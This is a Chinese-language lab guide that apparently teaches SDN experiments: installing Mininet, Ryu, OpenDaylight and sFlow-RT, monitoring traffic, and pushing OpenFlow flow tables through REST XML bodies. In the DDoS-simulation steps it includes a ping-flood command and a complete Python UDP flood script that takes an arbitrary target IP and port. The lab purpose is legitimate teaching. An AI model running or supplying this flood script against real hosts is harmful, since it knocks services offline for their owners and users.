1 实验环境部署1.1 mininet安装(1)git mininet安装包:git clone https://github.com/mininet/mininet(2)打开下载后的源码:cd mininet(3)安装mininet仿真器:PYTHON=python3 util/install.sh -a(4)运行mininet软件:./mininet/examples/miniedit.py1.2 控制器安装1.2.1 RYU(1)git下载ryu源码:git clone https://github.com/osrg/ryu.git(2)打开下载的软件:cd ryu(3)安装所需包:sudo pip3 install -r tools/pip-requires(4)安装Ryu:sudo python3 setup.py install(5)启动ryu控制器(注意openflow的协议):cd /ryu/ryu/appryu-manager ofctl_rest.py simple_switch_13.py1.2.2 opendaylight控制器安装(1)安装JDK:sudo apt-get install openjdk-8-jdk(2)安装之后需要查看JDK的安装路径,以便下一步设置JAVA环境变量时使用:cd /usr/lib/jvm(3)配置JAVA环境变量:sudo vim /etc/environment(4)配置完成之后重启系统;(5)git OpenDaylight安装包:wget https://nexus.opendaylight.org/content/groups/public/org/opendaylight/integration/distribution-karaf/0.6.4-Carbon/distribution-karaf-0.6.4-Carbon.tar.gz(6)解压git下载的源文件:sudo tar -zxvf distribution-karaf-0.6.4-Carbon.tar.gz(7)修改配置文件:cd distribution-karaf-0.6.4-Carbon/etcsudo vim org.apache.karaf.management.cfg(8)启动karaf:cd distribution-karaf-0.6.4-Carbon/ebin/ sudo ./karaf(9)配置可视化界面(安装feature):注意,以下命令均是在OpenDayLight的命令行下运行的。 ①安装支持REST API的组件 feature:install odl-restconf ②安装L2 switch插件 feature:install odl-l2switch-switch-ui ③安装用户界面服务 feature:install odl-openflowplugin-flow-services-ui ④安装API查看器 feature:install odl-mdsal-apidocs ⑤安装dlux展示页面 feature:install odl-dluxapps-applications ⑥添加与函数服务相关的支持和管理功能 feature:install odl-faas-all(10)启动OpenDaylight控制器:sudo ./karaf (11)打开web页面:http://虚拟IP:8080/index.html登录OpenDaylight管理界面,登录的用户名和密码均为admim(虚拟机IP通过ip addr命令查看)。1.3 抓包工具Wireshark安装(1)安装wireshark:sudo apt-get install wireshark (2)启动wireshark:sudo wireshark1.4监控软件sflow 安装(1)git sflow源码:wget http://www.inmon.com/products/sFlow-RT/sflow-rt.tar.gz(2)解压sflow-rt安装包:tar -zxvf sflow-rt.tar.gz(3)进入sflow-rt:cd sflow-rt(4)启动:./start.sh1.5 配置sFlow Agent(1)安装web工具curl:sudo apt-get install curl(2)配置sFlow Agent:sudo ovs-vsctl -- -- id=@sflow create sflow agent=s1-eth0 target=\"127.0.0.1:6343\" sampling=10 polling=20 -- -- set bridge s1 sflow=@sflow上述命令的主要意思如下:1)agent:监控s1-eth0 网卡产生的流量;s1-eth0是为s1创建的端口;2)target:sFlow-RT的IP,默认端口6343;3)bridge:需要开启sFlow的网桥;4)sampling:采样率,表示每隔N个Packet就取样一次5)polling:轮询时间,每隔N秒polling一次(3)查看已经配置的sFlow Agent信息:sudo ovs-vsctl list sflow(4)查看虚拟交换机端口与端口编号的映射:ip link(5)在web界面查看sFlow Agent是否配置成功:http://127.0.0.1: 8008/html/index.html(6)启动sFlow APP,查看流量信息Sflow-APP:get-app.sh sflow-rt flow-trend(7)将之前的sFlow重新启动,点击sFlow中Apps或者:浏览器访问:http://localhost:8008/app/flow-trend/html/index.html1.6 流表分析工具Apifox(postman)安装(1)安装包:(2)软件安装:sudo dpkg -i apifox_2.4.5_amd64.deb(3)双击打开apifox软件;2 实验步骤2.1 实验所需要的文件包(python语言)2.2 控制器启动1.3 Mininet拓扑下发(1)将1.1章节的包拷贝到虚拟机;https://download.csdn.net/download/m0_48669897/89087133?spm=1001.2014.3001.5503(2)增加权限:chmod 777 文件包名称(3)启动拓扑:sudo mn --custom MyTopo.py --topo mytopo --controller remote -x --switch ovsk,protocols=OpenFlow13(4)查看各个节点及链路信息;(5)pingall(6)在控制器中查看拓扑是否运行成功;1.4 打开Sflow流量监控软件(1)启动监控软件,下发对应交换机的配置见4.5章节;(2)连接到sFlow APP,在Keys列选择:ipsource,ipdestination,stack,在Value列选择bytes ,点击右面的 Submit提交,然后将自动转到图形化流量监控页面1.5 Mininet终端中做如下操作(1)打开Host1,和Host2的终端: xterm h1 h2(2)在Host1窗口下启动http服务:python -m http.server 80&(3)在Host2窗口下:curl http://Host1:80(4)在Host2窗口下:ping Host1(5)在sFlow APP页面中观察流量走向;(6)DDoS模拟攻击,在mininet终端中执行,h2 ping -f h1(7)在sFlow APP页面中观察流量走向;(8)运行抓包工具,抓取对应网卡的包查看报文信息;1.6 运行DDOS脚本,模拟攻击(1)脚本文件:(2)运行DDOS脚本,模拟攻击;'''# -*- coding:UTF-8 -*-#python 3import sysimport osimport timeimport socketimport random##############sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)bytes = random._urandom(1490)##############os.system("clear")os.system("figlet DDos Attack")print (" ")print ("/---------------------------------------------------\ ")print ("| Author : MineShin |")print ("| Gitee : https://gitee.com/MineShin |")print ("| QQ : 548343523 |")print ("\---------------------------------------------------/")print (" ")ip = input("攻击目标IP: ")port = int(input("攻击端口: "))sd = int(input("攻击频率(1~1000): "))os.system("clear")print("攻击正在启动...")time.sleep(5)os.system("clear")sent = 0while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 print ("Sent %s packets to %s port %d"%(sent,ip,port)) time.sleep((1000-sd)/2000)'''(3)在sFlow APP页面中观察流量走向;(4)运行抓包工具,抓取对应网卡的包查看报文信息;1.7 运行负载均衡的代码,寻找最优路径(1)开启三个终端,运行如下脚本: sudo python3 controllers1.py sudo python3 controllers2.py sudo python3 controllers3.py(2)外部模拟攻击: 在mininet自带CLI中运行:h2 python3 traffic.py(3)通过web页面查看监控信息(4)运行抓包工具,分析三次握手的原理及流程;(5)攻击之后查看结果;1.8 运行Django文件,查看可视化信息(1)在sdn_site路径下运行:sudo python3 manage.py runserver(2)安装缺失的库文件:pip/pip3 install 缺失的库文件;(3)访问127.0.0.1:8000即可查看流量分析界面(4)通过项目的数据分析工具,可以发现,项目流量生成工具发送的流量被尽力均衡地分配给了四个服务器,但是,由于负载均衡计算以及上传的延迟,存在一定误差,在流量更大的情况下,负载均衡效果会更加明显。(5)Django后端页面展示;(6)前端页面链路信息查看;1.9 通过Apifox下发流表信息1.9.1 在ODL界面查看流表下发路径(1)打开ODL的web页面,在topology页面或者nodes页面中可以查看node信息;(2)流表下发配置路径:Yang UI>Opendaylight-inventory>config>nodes>table>flownode/openflow:1 交换机编号table/0 流表编号flow/不超过1024,流表项编号(3)展开flow-list填写流表下发信息flow/不超过1024,不冲突即可 流表项编号•match fields:它们由入口端口和包头组成以及以及前一个表指定的元数据组成。•priority:流表项的匹配优先级•countres:更新匹配的数据包•instructions:修改动作集或流水线处理的说明•timeout:交换机流匹配最大计数时间和流有效时间idle_time 匹配流表的最大计数时间hard_time 下发流表后有效时间•cookie:控制器选择的不透明数据值。控制器可以用来过滤流量统计、流修改和流删除信息,处理报文时不使用。 (4)请求方式为GET,表单填写完成后,点击send发送;1.9.2 在Apifox界面下发流表信息(此处流表信息已经在脚本中写了,下发时,http请求为201时即算成功)(1)首先进入Apifox,利用get操作可以获得已有的流表:请求方式1:http://192.168.137.143:8080/restconf/operational/network-topology:network-topology请求方式2:ODL的web访问界面;实验结果:返回200即可成功,数据格式可以自定义;(2)完成身份认证并解密admin:请求方式为GET:Basic Auth页签,Username字段填写admin,Password字段填写admin完成认证。(3)PUT请求配置Header文件,完成身份认证(此处配置的格式为XML,认证密码填写被HASH解析过的);(4)填写Body文件:流表:匹配源MAC(host1)为MAC地址,目的MAC(host2)为MAC的流量,出port为2(端口号在拓扑看)。“body”中选择“raw”,格式为XML(application/xml),并填写如下消息体:(5)SEND 发送下发流表,在mininet下查找流表。(6)下发后的流表可以删除,选择删除的请求方式即可删除;'''#流表下发配置L2层流表下发1.填写body:流表:匹配源MAC(host1)为########,目的MAC(host2)为########的流量,出端口为???。“body”中选择“raw”,格式为XML(application/xml),并填写如下消息体:<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><ethernet-match><ethernet-source><address>MAC-source</address></ethernet-source><ethernet-destination><address>MAC-destination</address></ethernet-destination></ethernet-match></match><id>107</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>出端口</output-node-connector></output-action></action></apply-actions></instruction></instructions></flow>2.流表:匹配源MAC(host2)为42:30:90:5d:df:02的流量,目的MAC(host1)为7e:24:bb:47:6f:58,出端口为1。“body”中选择“raw”,格式为XML(application/xml),并填写如下消息体:<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><ethernet-match><ethernet-source><address>MAC-source</address></ethernet-source><ethernet-destination><address>MAC-destination</address></ethernet-destination></ethernet-match></match><id>108</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>1</output-node-connector></output-action></action></apply-actions></instruction></instructions></flow>L3层流表下发L3层对应OSI模型的三层,三层流表主要匹配的是IP包的协议类型和IP地址。“body”中选择“raw”,格式为XML(application/xml)流表:匹配源IP地址为IP-source/mask的报文,并将其转发到X端口匹配源IP地址为IP-source/mask的报文,并将其转发到X端口。<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><ethernet-match><ethernet-type><type>2048</type></ethernet-type></ethernet-match><ipv4-source>IP-source/mask</ipv4-source></match><id>111</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>2</output-node-connector></output-action></action></apply-actions></instruction></instructions></flow>“body”中选择“raw”,格式为XML(application/xml)流表:下发arp匹配流表<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><ethernet-match><ethernet-type><type>2054</type></ethernet-type></ethernet-match></match><id>113</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>NORMAL</output-node-connector><max-length>0</max-length></output-action></action></apply-actions></instruction></instructions></flow>L4层流表下发L4对应的OSI模型中的四层,即流表对应的TCP/UDP源端口(TCP/UDP src port)、TCP/UDP目的端口号(TCP/UDP dst port)字段。本实验匹配TCP目的端口“body”中选择“raw”,格式为XML(application/xml)匹配到目的IP地址为ipv4-destination/mask且目的端口为5001的TCP报文,将其转发到2端口<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><tcp-destination-port>5001</tcp-destination-port><ethernet-match><ethernet-type><type>2048</type></ethernet-type></ethernet-match><ipv4-destination>ipv4-destination/mask</ipv4-destination><ip-match><ip-protocol>6</ip-protocol></ip-match></match><id>117</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>2</output-node-connector></output-action></action></apply-actions></instruction></instructions></flow>“body”中选择“raw”,格式为XML(application/xml)流表:下发arp匹配流表。<?xml version="1.0" encoding="UTF-8" standalone="no"?><flow xmlns="urn:opendaylight:flow:inventory"><priority>200</priority><flow-name>Foo1</flow-name><idle-timeout>0</idle-timeout><hard-timeout>0</hard-timeout><match><ethernet-match><ethernet-type><type>2054</type></ethernet-type></ethernet-match></match><id>119</id><table_id>0</table_id><instructions><instruction><order>0</order><apply-actions><action><order>0</order><output-action><output-node-connector>FLOOD</output-node-connector><max-length>0</max-length></output-action></action></apply-actions></instruction></instructions></flow>'''